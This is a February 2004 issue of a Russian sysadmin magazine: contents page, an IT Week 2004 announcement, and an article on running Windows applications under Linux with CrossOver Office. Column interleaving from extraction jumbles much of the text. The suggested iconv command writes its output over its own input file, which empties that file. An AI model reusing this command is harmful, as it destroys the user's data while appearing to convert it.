Вы находитесь на странице: 1из 98

№2(15) февраль 2004

подписной индекс 81655


журнал для cистемных администраторов,
вебмастеров и программистов

Запуск
Запуск Windows-приложений
Windows-приложений
под
под Linux
Linux cc помощью
помощью
CrossOver
CrossOver Office
Office
Спасем
Спасем пингвина:
пингвина:
Mindi
Mindi Linux
Linux ии Mondo
Mondo Rescue
Rescue
Последствия
Последствия гибернации
гибернации
вв Linux
Linux
QNX
Qnx
Frenzy:
Frenzy: FreeBSD
FreeBSD вв кармане
кармане
сисадмина
сисадмина
Архитектура
Архитектура файловой
файловой
системы
системы FAT
FAT
По
По SUSекам
SUSекам Microsoft
Microsoft
№2(15) февраль 2004

Жизненный
Жизненный цикл
цикл червей
червей
Использование
Использование SQLite
SQLite
ии PHP5
PHP5
оглавление

АДМИНИСТРИРОВАНИЕ
Работа с утилитой make
Запуск Windows-приложений под Linux Антон Иванов
с помощью CrossOver Office a-i@bk.ru 38
Андрей Бешков
tigrisha@sysadmins.ru 4 Архитектура файловой системы FAT
Владимир Мешков
Спасем пингвина ubob@mail.ru 42
Резервирование данных и восстановление системы с по-
мощью Mindi Linux и Mondo Rescue.
WEB
Сергей Яремчук
grinder@ua.fm 14
Кэширование веб-сценариев
Мы с Linux этим ложимся и с Linux Андрей Уваров
этим встаем – последствия гибернации dashin@ua.fm 56
Антон Борисов
a.borisov@tesv.tmb.ru 18 Использование SQLite и PHP 5
Денис Колисниченко
Простая установка MRTG dhsilabs@mail.ru 58
для Red Hat Linux
Андрей Маркелов
andrew@markelov.net 22 ОБРАЗОВАНИЕ
Программное управление ADSI: WinNT
VPN success story (mini-HOWTO)
Иван Коробко
Андрей Мозговой ikorobko@prosv.ru 66
brain@m9.ru 24

БЕЗОПАСНОСТЬ
QNX
Александр Байрак Жизненный цикл червей
x01mer@pisem.net 26
Крис Касперски
kk@sendmail.ru 76
Frenzy: FreeBSD в кармане сисадмина
Сергей Можайский Уязвимости в MS Windows.
technix@ukrpost.com.ua 30 В поисках решения проблемы
по SUSекам Microsoft
Как чертик из коробочки Михаил Платов
Обзор эмулятора Bochs. platov@cs.vsu.ru 88
Валентин Синицын
val@linuxcenter.ru 34 BUGTRAQ 64

№2(15), февраль 2004 1


УНИКАЛЬНЫЕ СОБЫТИЯ
НА КОМПЬЮТЕРНОМ РЫНКЕ
Впервые организованная в 1989 году, выставка Неделя 4. Software Expo – специализированная выставка, ори-
Информационных Технологий «IT Week Russia», изве- ентированная на программные продукты для систем
стная в прошлом как Comtek, за пятнадцать лет своего бухгалтерского и складского учета, комплексного ПО
существования пережила и взлеты и падения. В преды- управления предприятием, систем управления доку-
дущие годы в Неделю Информационных Технологий вхо- ментооборотом, систем распознавания документов,
дила выставка Сomtek, которая состояла из нескольких разработку ПО, защиту информации. В рамках этой
направлений, и конференция E-Business. Развитие выс- выставки будет подготовлен цикл тематических семи-
тавки в течение последних лет привело к необходимос- наров, посвященных актуальным вопросам в области
ти выделить отдельные разделы в самостоятельные вы- разработки экономических программ и систем управ-
ставки. С этого года в Неделю Информационных Техно- ления бизнесом.
логий будут входить пять самостоятельных выставок и 5. Специализированная выставка CAD/CAM/CAE пред-
две конференции. Этот шаг позволил расширить масш- ставляет системы автоматизированного проектиро-
таб выставки, объединяющей все аспекты компьютер- вания. Для большинства российских производителей
ного бизнеса, что, в свою очередь, дает возможность необходимость использования САПР для оптимиза-
привлечь к участию в выставке большее число компа- ции работы предприятия стала очевидной. Особенно
ний, занятых во всех сферах индустрии информацион- ярко это проявляется в таких отраслях, как авиастро-
ных технологий. ение, автомобилестроение, тяжелое машиностроение,
Давид Патеишвили, директор выставки, сказал: «В архитектура, строительство, нефтегазовая промыш-
этом году мы расширили темы, представленные на экс- ленность.
позиции, которые теперь охватывают все области компь- 6. eLearn Expo – специализированная выставка, на ко-
ютерной индустрии. Это дает превосходную возможность торой будут демонстрироваться новейшие продукты
и участникам, и посетителям выставки принять участие и и технологии в сфере электронного обучения, пред-
ознакомиться сразу с пятью выставками и двумя конфе- назначенные для коллективного и индивидуального
ренциями, проходящими в одно время и в одном месте. пользования. Дистанционное обучение через сети
Это также позволит нам улучшить маркетинговую и рек- Internet и Intranet, получившее широкое распростра-
ламную кампании для каждой из выставок и конферен- нение в развитых странах, становится все более ак-
ций, проходящих в рамках Недели Информационных Тех- туальным и для России.
нологий, с учетом целевой аудитории, специфичной для 7. eBusiness Russia (Электронный бизнес в России) –
каждой из них. Хочется добавить, что некоторые выстав- международная конференция, посвященная вопросам
ки, которые будут проходить в рамках Недели Информа- автоматизации бизнес-процессов, развития электрон-
ционных технологий, не имеют аналогов в России, явля- ной коммерции, подбора ИТ-персонала.
ясь тем самым уникальными».
В рамках Недели Информационных Технологий прой- Выставка IT-week остается ведущей международной
дут следующие выставки и конференции: выставкой информационных технологий в России и стра-
1. Personal Computing Expo – общая, неспециализиро- нах СНГ. Это уникальное место для проведения перего-
ванная выставка, ориентированная на конечных воров с первыми лицами сразу нескольких крупных фирм-
пользователей. В ней представлены производители и поставщиков оборудования и решений. Практически все
дистрибьюторы персональных компьютеров и перифе- крупные западные вендоры присутствуют на выставке не-
рии, компьютерных игр, дистрибьюторы сотовой тех- посредственно или при посредстве своих российских парт-
ники и портативных компьютеров, интернет- и контент- неров.
провайдеры и многие другие. В соответствии с растущими потребностями рынка и
2. Hardware & Peripherals Expo – специализированная увеличением числа участников экспозиция расширила
выставка, на которой представлены: компьютеры, мо- площадь, которая в этом году составит 8000 кв. м. В вы-
ниторы, периферийные устройства, комплектующие, ставках, которые пройдут в течение 4 дней, примут уча-
накопители, коммуникационное оборудование и услу- стие 250 ведущих компаний отрасли из 25 стран мира.
ги, т.е. весь спектр hardware, ориентированного на ве- Ожидается, что число посетителей выставки превысит
дение бизнеса. 75 000 человек, включая руководителей верхнего и сред-
3. Международная конференция eLearning Russia (Инфор- него звена, технических специалистов и IT-администра-
мационные технологии в образовании), на которой бу- торов, из более 500 городов России и СНГ.
дут освещены последние достижения образовательных «IT Week 2004», 15-ая Международная Выставка Ин-
технологий в школах, вузах, а также рассмотрены воп- формационных Технологий пройдет в «Экспоцентре» на
росы дистанционного и бизнес-образования. Красной Пресне в Москве с 26 по 29 апреля 2004 года.

2
администрирование

ЗАПУСК WINDOWS-ПРИЛОЖЕНИЙ
ПОД LINUX C ПОМОЩЬЮ CROSSOVER OFFICE

Для большинства людей сложность использования того или иного диалекта Linux в качестве
рабочей станции состоит не только в том, что нужно пересесть на совершенно отличную
от Windows систему, но и в отсутствии привычного окружения. Несмотря на впечатляющие успехи
офисных программ из клана Open Office и Star Office, для многих и по сей день милее всех
остается Microsoft Office. Почту большинство пользователей опять же любят читать ни чем иным,
как The Bat или Outlook. Ну а бороздить просторы сетей подавляющее большинство простых людей
предпочитает с помощью Internet Explorer. Никому нет дела до того, что это небезопасно, зато
очень удобно. С точки зрения организаций, владеющих тем или иным количеством лицензий
на Microsoft Office или какие-либо другие приложения, заточенные для работы сугубо под Windows,
переход на Linux будет выбрасыванием на ветер денег, заплаченных за эти самые лицензии.
Думаю, руководство предприятия не поймет такой расточительности. Самое интересное в данной
ситуации то, что ни Microsoft, ни какой-либо другой производитель программного обеспечения
не может запретить вам работать с их программами под управлением другой операционной
системы. Иначе это будет нарушением антимонопольного законодательства. Максимум, что может
сделать производитель в данной ситуации, – это отказать вам в предоставлении технической
поддержки. Впрочем, о качестве этой самой поддержки говорить можно много и не обязательно
будут сказаны хорошие слова.
АНДРЕЙ БЕШКОВ
4
администрирование
Сегодня мы поговорим о том, как с помощью CrossOver выполнения эмулируемой программы под управлением
Office запустить и успешно работать c вышеперечислен- систем первого типа будет ниже на 1-2 процента по срав-
ными, а также множеством других Windows-приложений нению со скоростью работы в родной среде. Налицо ми-
под управлением Linux. В качестве основной операцион- зерная потеря эффективности выполнения, которую
ной системы выбран ALT Linux Master 2.2. Впрочем, на всех пользователь вряд ли заметит. К сожалению, при работе
остальных видах Linux все приемы, описанные ниже, дол- с системами полной эмуляции добиться такого блестяще-
жны работать так же легко. го результата не удастся.
Как обычно, для начала маленький экскурс в историю Если вам хотелось бы подробнее почитать о проекте
обсуждаемого вопроса. CrossOver Office построен на ос- WINE, то милости просим на сайт http://www.winehq.com.
нове кода, унаследованного от открытого проекта WINE. Что-то теоретическая часть статьи сегодня слегка затя-
В первую очередь он предназначался для запуска офис- нулась, а раз так, то значит, нам пора переходить к ак-
ных приложений Windows-платформы, но постепенно пре- тивным наступательным действиям.
вратился в нечто более мощное. Несмотря на свое назва- CrossOver Office, разрабатываемый компанией Code-
ние, предок CrossOver Office не имеет никакого отноше- weavers Inc, в отличие от WINE, не является бесплатным
ния к виноделию и спиртным напиткам. Единственное проектом на том простом основании, что включает в себя
предназначение WINE состоит в том, чтобы дать пользо- довольно много самописного программного обеспечения.
вателям возможность запускать программы, написанные В результате весь набор программ сильно выигрывает
для Windows внутри Linux. Сокращение WINE расшифро- в удобстве и простоте использования при сравнении со
вывается следующим образом: «Wine Is Not Emulator», то своим прародителем. В то же время, реализации мно-
есть создатели проекта категорически настаивают на том, гих Win32-функций впервые появляющиеся в CrossOver
что они не занимаются эмуляцией Windows. Выглядит это Office, добровольно передаются в дар проекту WINE. На-
весьма странно, учитывая то, что WINE работает по тех- лицо полезный симбиоз, когда платный проект активно
нологии эмуляции API (Applications Programming Interface) поддерживает движение свободного программного
операционных систем Win32. В тот момент, когда подо- обеспечения.
пытная Windows-программа, запущенная под Linux, обра- Одна клиентская лицензия CrossOver Office на момент
щается к несуществующей операционной системе типа написания статьи стоила 54.95$. Для тех, кто любит точ-
Windows с просьбой выполнить ту или иную функцию, но знать, что покупает, есть тридцатидневный пробный
WINE перехватывает аргументы, передаваемые програм- период. Пробная версия ничем не отличается от плат-
мой в функцию. Затем происходит вызов своей собствен- ной, за исключением временного ограничения и редкого
ной реализации этой функции, а по завершению резуль- появления на экране вот такого уведомления.
таты работы возвращаются в эмулируемую программу.
Для того чтобы подобный ход событий стал возможен, доб-
ровольцам, участвующим в проекте, пришлось написать
свои собственные UNIX-реализации для большинства ча-
сто используемых DLL Windows-систем. Объем проделан-
ной работы огромен, и успешность данного предприятия Ее можно получить, если отправить запрос со следую-
поражает. Но, к сожалению, не все системные библиоте- щей страницы: http://www.codeweavers.com/site/products/
ки хорошо документированы, поэтому часто приходится download_trial.
заниматься дизассемблированием и реверсивным инжи- В течение нескольких минут по электронной почте
нирингом проприетарного кода и только затем писать свой придет письмо, содержащее URL, имя и пароль, пользу-
собственный, выполняющий те же действия. Такой метод ясь которыми, можно скачать инсталляционный пакет.
разработки отнимает очень много сил и времени. Поэто- Получив файл install-crossover-office-demo-2.1.0.sh,
му надеяться на то, что WINE или какая- либо другая сис- даем ему право на выполнение. Скрипт, который мы толь-
тема эмуляции API как по мановению волшебной палочки ко что скачали, самостоятельно произведет распаковку
сможет запустить все сто процентов существующих и установку всех нужных компонентов, поэтому не стоит
Windows-программ не стоит. Особенно если учесть, что удивляться, что размер его равен 11,2 Мб. Дальше воз-
Windows-системы не замерли на одной точке своего жиз- можны следующие варианты: если запустить установку
ненного цикла, а продолжают довольно динамично раз- от имени обычного пользователя, то право запускать
виваться. Наверное, стоит подходить к вопросу о количе- Windows-программы появится только у этого конкрет-
стве Windows-программ, успешно запускаемых под Linux, ного пользователя, потому что все файлы будут уста-
более реалистично. Я бы сказал, что в случае, когда по- новлены в директорию $HOME/cxoffice. Напомню, что
допытная программа не использует каких-либо редких под стандартным для UNIX-систем обозначением перемен-
функций и не злоупотребляет защитой от копирования, ной $HOME понимается домашняя директория пользова-
вероятность того, что она запустится внутри эмулятора, теля. Ну а если сделать это от имени пользователя root,
равна примерно 70 процентам. В то же время стоит отме- то работать с CrossOver Office смогут все пользовате-
тить один немаловажный факт, выгодно отличающий си- ли системы. А системные файлы разместятся в дирек-
стемы с эмуляцией API от систем полной эмуляции (в ка- тории /opt/cxoffice. Лично мне больше подходит второй
честве распространенного примера которых можно гово- вариант, поэтому в дальнейшем предполагается, что ин-
рить о широко известной VMWare Workstation). Скорость сталляция будет проходить с правами пользователя root.

№2(15), февраль 2004 5


администрирование
Но пользоваться такими правами мы будем только до Во многих современных Linux-системах использует-
тех пор, пока это необходимо. ся ядро, модифицированное для того, чтобы уменьшить
Ну а если вам удалось скачать платную версию, то ус- ущерб, наносимый вредоносными программами, которые
танавливать ее нужно вот такой командой: активно используют технику срыва стека. По умолчанию
на все исполняемые файлы устанавливается флаг, зап-
rpm -Uhv cxoffice-2.0.1-1.i386.rpm рещающий работу с исполняемым стеком. Таким обра-
зом, получается, что если злоумышленник вызовет срыв
В остальном же процедура установки обоих видов па- стека, программа рухнет, но не станет выполнять код,
кета ничем не отличается. записанный в стек в результате атаки. Большинству про-
После запуска инсталляции на экране появится до- грамм функции исполнения кода в стеке не нужны для
вольно интересное лицензионное соглашение. Можно нормальной работы. Но некоторые программы, и
просто нажать кнопку «I Agree», выразив тем самым свое CrossOver Office в частности, могут не работать в таких
согласие с предлагаемыми условиями, а лучше внима- системах. Проверим, установлен ли флаг исполняемого
тельно прочитать. Через некоторое время вы сможете стека на программу wineloader, которая используется для
заметить, что человек, составлявший соглашение, обла- запуска Windows-приложений.
дал довольно развитым чувством юмора.
# chstk -v /opt/cxoffice/bin/wineloader
/opt/cxoffice/bin/: Non-executable stack area

Судя по выводу, очевидно, нужный флаг не установ-


лен. Думаю, всем понятно, что его необходимо установить.

# chstk -e /opt/cxoffice/bin/wineloader

И обязательно проверить успешность такого действия.

# chstk -v /opt/cxoffice/bin/wineloader
/opt/cxoffice/bin/: Executable stack area

После этого можно закрыть сеанс пользователя root,


так как его права нам больше не понадобятся.
Входим в систему от имени пользователя, который в
Сразу после принятия лицензионного соглашения дальнейшем будет работать с Windows-приложениями.
нам будет предложено указать директорию, где долж- Если внимательно посмотреть на меню оконного менед-
ны расположиться системные файлы CrossOver Office. жера, то можно заметить, что там добавилось подменю
По умолчанию предлагается использовать для этих це- CrossOver Office.
лей /opt/cxoffice.

Мы снова согласимся, и, к всеобщему облегчению,


начнется копирование файлов. После того как этот про-
цесс будет завершен, на экране появится окошко, изоб-
раженное на следующем рисунке.

А после установки первого Windows-приложения по-


явится еще и меню Windows Applications. Думаю, назна-
чение обоих вышеназванных объектов очевидно для
Терпеливо ждем, пока система выполнит все необхо- всех. Настало время сделать так:
димые действия, и ни в коем случае не пытаемся вме-
шаться в ход событий. В зависимости от скоростных ха- $ /opt/cxoffice/bin/officesetup
рактеристик машины, на которой происходит процесс,
ожидание может затянуться вплоть до 10 минут. Затем, Или воспользоваться пунктом меню Office Setup. В от-
приняв поздравления с удачным завершением установ- вет начнет работать программа пользовательской уста-
ки, нажимаем кнопки «OK» и «Exit». новки.

6
администрирование
Первым делом нужно установить DCOM95. Для этого
жмем кнопку «Install» и в появившемся списке официаль-
но поддерживаемых приложений выбираем этот пакет.

Если для доступа в Интернет используется прокси-


сервер, то нужно вписать его адрес и порт в соответ-
ствующие поля диалогового окна, иначе автоматичес-
ки скачать нужное программное обеспечение будет зат-
руднительно.
В домашней директории пользователя появится пап-
ка .cxoffice, в которую будет скопирован минимальный
набор директорий и файлов, необходимый для запуска
Windows-приложений.
А тем временем на экране появится главное окно про- Как обычно, жмем кнопку «Next». На следующем эк-
граммы officesetup, пользуясь которой, мы будем управ- ране надо выбрать тип инсталляции. Экспресс-установка
лять всей системой CrossOver Office. хороша тем, что нужные файлы будут скачаны из сети
автоматически. В большинстве случаев желательно
пользоваться именно этим способом.

Ну а если с доступом в Интернет с этой машины у нас


какие-либо проблемы, можно воспользоваться процеду-
рой Advanced install, с помощью которой есть возможность
узнать, откуда будут скачиваться файлы, и вытащить их
оттуда вручную. Скачать DCOM95 можно отсюда: http://
www.microsoft.com/com/dcom/dcom95/download.asp. Или
воспользоваться сервисом filesearch.ru.
Затем перенести его на нашу машину и принудитель-
но указать, где находится то, что нужно. Хотя тут програм-
В верхнем списке отображаются пакеты, уже установ- мисты из команды Codeweavers допустили ошибку. На
ленные в систему. Хотя этот список не всегда отображает следующей картинке ее очень хорошо видно. Несмотря
реальное состояние дел. на то, что я точно указал, где на локальном диске нахо-
Все программное обеспечение делится на две кате- дятся файлы инсталлятора, кнопка «Next» остается неак-
гории: официально поддерживаемое и его антипод – не- тивной. Конечно, всплывает эта ошибка не каждый раз,
поддерживаемое. Официальные пакеты протестирова- иначе она была бы уже давным-давно исправлена.
ны и должны надежно, насколько это слово применимо
к Windows-программам, работать под управлением
CrossOver Office. Ну а неофициальные мы будем инстал-
лировать на свой страх и риск, и никто не даст гаран-
тии, что это потом будет работать. Впрочем, волшеб-
ную силу шаманского бубна еще никто не отменил, так
что отчаиваться не стоит. Лично мне удалось запустить
почти все программы, которые я привык часто исполь- Но и на эту беду есть свое лечение. С помощью кноп-
зовать под Windows. ки «Prev» возвращаемся к первому шагу и выбираем фла-

№2(15), февраль 2004 7


администрирование
жок «Install unsupported software» и, пройдя этой веткой
установки, указываем, где лежит выполняемый файл.

Воспользовавшись опцией «View installed associations»,


можно увидеть, обработчиком каких расширений файлов
и MIME-типов объявила себя установленная программа.
Например, Microsoft Power Point может заявить себя об-
работчиком файлов типа *.ppt.
Кстати, если отключить опцию «Remove installer files»,
то все дистрибутивные файлы, что были скачаны из сети,
останутся в директории: $HOME/.cxoffice/installers/. Иног-
В общем, тем или иным способом сообщив системе, да для экономии трафика такая возможность бывает очень
где брать файлы, нажимаем на многострадальную кноп- полезна.
ку «Next». Через некоторое время на экране появится вот Завершаем инсталляцию нажатием кнопки «Finish» и
такое окошко: возвращаемся в главное окно программы. Теперь, если
нажать на кнопку «Install» и посмотреть в список прило-
жений, мы сможем увидеть, что DCOM95 помечен звез-
дочкой, обозначающей, что этот компонент уже установ-
лен. Думаю, для вас не составит труда самостоятельно
разыскать в сети и установить DCOM98, о необходимости
Жмем на кнопку «Да», затем принимаем лицензион- которого нам недавно намекали. А я тем временем пе-
ное соглашение. И подождав, пока завершится копирова- рейду к установке TTF-шрифтов, наиболее подходящих
ние файлов, получаем вот такую ошибку: для Windows-приложений. Надеюсь, что, пользуясь выше-
описанной методикой, вы понимаете, как это сделать. Про-
блема в том, что каждый шрифт инсталлируется отдель-
но, так что придется одиннадцать раз выполнить проце-
дуру инсталляции. Не совсем понятно, почему сделано
именно так, но другого пути, видимо, нет.
На самом деле ничего страшного не произошло. Про- Закончив все предварительные операции, начнем уста-
сто нам намекают, что для нашей версии Windows нужен новку Microsoft Office 2000. Я использовал именно его, пото-
DCOM98. Хотя это, конечно, неправда, все нужные файлы му что Office XP в тот момент под рукой не было. Хотя впос-
уже установились в директорию: $HOME/.cxoffice/dotwine/ ледствии для теста он был установлен вместо Office 2000.
fake_windows/Windows/System/dcom95/. Итак, приступим. В списке приложений выбираем Office
Теперь осталось смотреть на следующую картинку и тер- 2000, вставляем в CD-ROM диск с Microsoft Office 2000 и
пеливо ждать, пока система выполнит все нужные действия. указываем источник инсталляции.

Хотя иногда встречается программное обеспечение,


которое зацикливается на этом этапе. Тогда, чтобы закон-
чить инсталляцию, приходится воспользоваться кнопкой А в ответ получаем вот такое предупреждение.
«Installer is finished». Ярким примером такого вида про-
грамм служит Microsoft Office 2000 Service Pack 2. Хотя,
конечно, это способ из разряда экстремальных, и лучше
им никогда не пользоваться, потому что в результате это-
го может полностью разрушиться имеющаяся инсталля-
ция CrossOver Office.

8
администрирование
Жмем кнопку «Detail» для того, чтобы узнать, в чем скрипт /opt/cxoffice/bin/cxreboot. Как это выглядит, вы
проблема, и получаем следующее объяснение. можете видеть на следующем снимке.

Проблема в том, что некоторые из файлов дистрибу-


тива специально помечены как скрытые, и настройки
файловой системы для устройства CD-ROM, которые за-
писаны в /etc/fstab, не позволяют их увидеть. Конечно,
можно нажать кнопку «Proceed despite likely error», тем
самым проигнорировав все предупреждения, но тогда на
удачное завершение инсталляции надеяться не стоит. По-
этому воспользуемся кнопкой «Fix». В ответ на наше дей-
ствие запустится скрипт /opt/cxoffice/bin/unhide_fstab, ко- По завершении установки можно посмотреть, обработ-
торый внесет необходимые изменения в файл /etc/fstab. чиками каких типов файлов объявили себя свежеустанов-
Того же самого результата можно добиться, если в том ленные приложения.
самом файле собственноручно исправить запись, описы-
вающую устройство /dev/cdrom, так чтобы она выглядела
следующим образом:

/dev/cdrom /mnt/cdrom auto ↵


unhide,user,iocharset=koi8-r,exec,ro,noauto 0 0

Ключевая опция, из-за которой случились все эти не-


доразумения, называется «unhide».
После добавления ее в описание файловой систе-
мы в большинстве диалектов Linux все должно зарабо-
тать как положено. На самом деле лично мне этот трюк
не помог по той простой причине, что в ALT Linux для
монтирования сменных носителей используется подси-
стема autofs, управляющая демонами automount. Таким
образом, получается, что файл /etc/fstab не имеет ни-
какого отношения к реальному механизму работы со смен-
ными носителями. Поэтому мы открываем файл /etc/
auto.tab и приводим строку, отвечающую за /dev/cdrom к
такому виду:

cdrom -fstype=auto,unhide,ro,iocharset=koi8-r :/dev/cdrom Как вы смогли заметить, файлы типа *.doc теперь при-
вязаны к приложению winword.exe. Налюбовавшись пол-
Для того чтобы изменения вступили в силу, переза- ным списком приложений и связанных с ними типов фай-
пускаем демона autofs, выполняя команду: лов, стоит обязательно обратить внимание на колонку
«Enabled», которая показывает, включена ли данная ас-
# service autofs restart социация.
Кстати, стоит упомянуть, что вдовесок к Microsoft
Вот теперь можно вернуться к установке Microsoft Office 2000 будут автоматически установлены Mplayer,
Office 2000. Вместе с офисными приложениями по умол- Internet Explorer 5.0, Outlook Express и куча прочего вспо-
чанию будет установлен и Microsoft Internet Explorer. Пос- могательного обеспечения.
ле всех этих манипуляций установка должна пройти глад- А на следующем снимке экрана вы можете посмот-
ко как по маслу. В принципе этого и стоило ожидать. реть, как выглядит Microsoft Word под управлением Linux.
Единственным интересным моментом тут можно назвать Как видите, кроме оформления окна, программа выгля-
точку в инсталляции, когда копирование и установка дит точно так же, как если бы она работала под Windows.
файлов закончены и необходимо выполнить перезагруз- Я думаю, это очень впечатляет.
ку Windows. CrossOver Office обычно довольно хорошо Все остальные только что установленные офисные при-
распознает такие моменты и самостоятельно запускает ложения работают также на редкость хорошо. Налюбовав-

№2(15), февраль 2004 9


администрирование

шись на дело рук своих, продолжаем изучать CrossOver А из этих строк создаются названия для меню оконного
Office. Вкладка интерфейса «Menus» показывает, какие пун- менеджера, которые хранятся в файле $HOME/.menu/cxoffice.
кты меню добавило приложение в систему. Пользуясь кноп- А так как кодировка не совпадает, то и производные от него
ками, расположенными возле каждого пункта списка, мож- меню тоже получаются кривыми. Как временное решение
но легко управлять этими меню. Как вы смогли заметить, можно выполнить конвертирование из кодировки cp-1251 в
названия меню, написанные кириллицей в кодировке cp- utf-8 и затем пересоздание меню оконного менеджера. До-
1251 и автоматически конвертированные в UTF-8, выгля- биться этого можно следующими командами.
дят не очень хорошо. И самый неприятный факт состоит в
том, что я пока не нашел, где хранятся строки, отображае- $ iconv -f cp-1251 -t utf-8 $HOME/.menu/cxoffice > ↵
$HOME/.menu/cxoffice
мые в качестве названий меню на следующем рисунке. $ update-menus –n –u

Переходим к следующей вкладке интерфейса програм-


мы officesetup.

10
администрирование
Здесь у нас находятся глобальные настройки Windows-
системы. Первым делом можно настроить опцию My
Documents так, чтобы Windows-программы думали, что
папка C://Мои документы находится в /home/tigrisha/
Documents. Таким образом, все офисные документы бу-
дут храниться там, где это принято в Linux-системах.
Следующая опция Browsers позволяет назначить интер-
нет-браузер, используемый по умолчанию Windows-при-
ложениями. Сразу же после инсталляции таковым на-
значен Internet Explorer, но никто не мешает выбрать
для этой роли какую-либо другую программу. Напри-
мер, родной для Linux браузер Mozilla. Еще ниже нахо-
дится кнопка «Online Update». Самые догадливые чи-
татели уже поняли, что она позволяет скачать с сайта
codeveawers.com новейший список официально поддер-
живаемых приложений.

И самое веселое то, что фокус ввода находится имен-


но в окне с логотипом, так что нажатие клавиши «Enter»
ничего не даст. Поэтому придется схватить нужное нам
окно за левый верхний угол, вытянуть его на свет бо-
жий. Окно с логотипом исчезнет только после того, как
мы ответим на все вопросы, задаваемые инсталлятором.
После удачной инсталляции и первого запуска The Bat
нужно закрыть и дождаться, пока CrossOver Office за-
вершит все служебные процедуры. Затем желательно
провести перезагрузку Windows c помощью запуска
скрипта /opt/cxoffice/bin/cxreboot. На экран начнут сыпать-
ся сообщения, подобные этим:
При нажатии кнопки «Advanced» мы видим еще не-
сколько настроек. Первая из них указывает, где нахо-
дятся бинарные файлы, динамически загружаемые биб-
лиотеки и TTF-шрифты. Эта опция позволяет поставить
в систему несколько разных инсталляций CrossOver или
WINE и безболезненно переключаться между ними в по-
исках именно той версии, которая будет лучше всего
работать с нашими Windows-приложениями. Настрой-
ки http прокси-сервера пропускаем, потому что рабо-
тать с ними проще простого. А вот следующая опция
уже гораздо интереснее. Outlook Security позволяет ука-
зать, какие типы файлов, присоединенные к электрон-
ным письмам, запрещено открывать. Всем известно, что
Outlook дыряв, как решето, и позволяет злоумышлен-
нику создать письмо с присоединенным файлом, кото-
рый по получению будет автоматически выполнен. Уме-
ло пользуясь вышеуказанной опцией, мы сможем сде-
лать работу с почтой гораздо безопаснее.
Закончив с установкой официально поддерживаемых
программ, перейдем к работе с неофициальными. В ка-
честве примера можно взять The Bat. Инсталляция про-
ходит без особых проблем, за исключением одной мело-
чи. На экране появляется вот такое окно, и висеть оно Обязательно дождитесь появления надписи «No
будет здесь бесконечно. Проблема в том, что за окном с commands. Done». И только после этого можно будет пол-
логотипом летучей мыши скрыто диалоговое окно с воп- ноценно работать с установленной программой. На сле-
росом, стоит ли привязать к этому приложению обработ- дующем экране можно увидеть довольно хорошо функ-
ку файлов с расширением vcf, msg. ционирующий экземпляр The Bat.

№2(15), февраль 2004 11


администрирование

Кстати, обратите внимание на то, что вокруг кнопок соб является самым медленным. Все очень просто: мы
инструментальной панели появились дыры, через кото- ведь не указали, где находится папка, в которой хра-
рые виден фон. К сожалению, могу сказать, что это не нится выполняемый файл приложения, и теперь
единственное неудобство, встреченное мной при работе CrossOver Office вынужден обыскать все папки нашей
с The Bat под CrossOver Office. Вторая проблема состоит поддельной Windows-системы. Область поиска можно
в том, что программа, используемая для русификации существенно сузить с помощью ключа --workdir и име-
The Bat и называемая Internation Pack, устанавливается ни директории:
нормально, но после этого ни одно меню в почтовом кли-
енте уже не работает. Так что, пока программа русифи- $ /opt/cxoffice/bin/wine --workdir "/home/tigrisha/.cxoffice/ ↵
dotwine/fake_windows/Program Files/QuickViewer" ↵
кации будет так себя вести, придется обходиться только "C://Program Files//QuickViewer//viewer.exe"
английским языком. В остальном же все работает нор-
мально. Вот этот способ работает более быстро за счет чет-
Иногда случается так, что устанавливаемая програм- кого указания пути и рабочей директории программы.
ма не создает никаких меню и не выкладывает на рабо- А без ключа --cx-app можно вполне неплохо обойтись.
чий стол своих ярлыков. В таком случае нам нужно на- Для удачного запуска многих программ указывать ра-
учиться самостоятельно создать пункт меню оконного ме- бочую директорию не обязательно, хотя есть такие эк-
неджера или ярлык. Но первым делом стоит изыскать земпляры, которые без этого параметра никогда не бу-
возможности запускать установленную программу. Итак, дут работать. Конечно, лучше всего передавать этот
представим, что наша подопытная программа установи- параметр для каждой выполняемой программы, нам это
лась в папку C:/Program Files/QuickViewer/, а исполняе- ничего не стоит, а им приятно.
мый файл называется viewer.exe. Самый простой – хотя Иногда случается так, что Windows-программа быва-
и самый медленный – способ запустить данное прило- ет доступна вместе с исходным кодом, тогда ее можно
жение – это подать команду: скомпилировать для работы в Unix-системе, используя
вместо родных функций реализации функций из библио-
$ /opt/cxoffice/bin/wine –-cx-app viewer.exe теки winelib. Среди пользователей wine такие програм-
мы называются соответственно winelib-программами.
Читатель может спросить, почему вышеуказанный спо- Приятной особенностью приложений такого типа явля-

12
администрирование
ется возможность работать самостоятельно без приме- А для Gnome нужно положить в директорию $HOME/
нения wine. В то же время wine умеет запускать и такие .gnome2/applications/ файл «имя приложения.desktop» со
приложения. Предположив, что программа из предыду- следующими данными:
щего примера создана с помощью winelib, выполняем ее
следующей командой: [Desktop Entry]
Name= Super Fast Graphic Viewer
Type=Application
$ /opt/cxoffice/bin/wine –wl-app viewer.exe Exec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/ ↵
.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" ↵
"C://Program Files//QuickViewer//viewer.exe"
Впрочем, вряд ли кому-либо из вас придется часто X-Created-by=cxoffice
Icon=/home/tigrisha/.cxoffice/dotwine/fake_windows/ ↵
пользоваться winelib-программами. Все-таки сообщество Windows/Icons/0050046416b9.14.xpm
Windows-разработчиков в силу другого восприятия мира
нечасто свободно раздает исходные коды своих разработок. После всех этих манипуляций для того, чтобы измене-
Есть еще один способ запускать приложения. С помо- ния вступили в силу, нужно подать команду:
щью ключа командной строки --ux-app Wine может выпол-
нять настоящие Unix-приложения. Для чего это сделано, $ update-menus –n –u
лично мне не понятно, но, видимо, разработчикам такая
возможность показалась жизненно необходимой. Наверно, самые внимательные читатели уже задались
Итак, мы научились самостоятельно запускать Windows- вопросом, почему мы используем в качестве иконок для
приложения. Теперь нужно создать соответствующий на- приложений картинки в формате xpm.
шей программе пункт меню. Сделать это можно несколь- Все дело в том, что во время инсталляции CrossOver
кими способами. С помощью программы /opt/cxoffice/bin/ Office производит конвертацию значков из формата ico
cxmenu или просто отредактировав файл $HOME/.menu/ в xpm и кладет их в директорию $HOME/.cxoffice/dotwine/
cxoffice и добавив в него нужную запись. Или создать нуж- fake_windows/Windows/Icons/ со случайными именами.
ные файлы в директориях, где хранятся настройки ваше- Видимо, это сделано для того, чтобы не связываться с
го оконного менеджера. Например, для KDE нужно создать проприетарным форматом ico. Впрочем, я думаю, вам
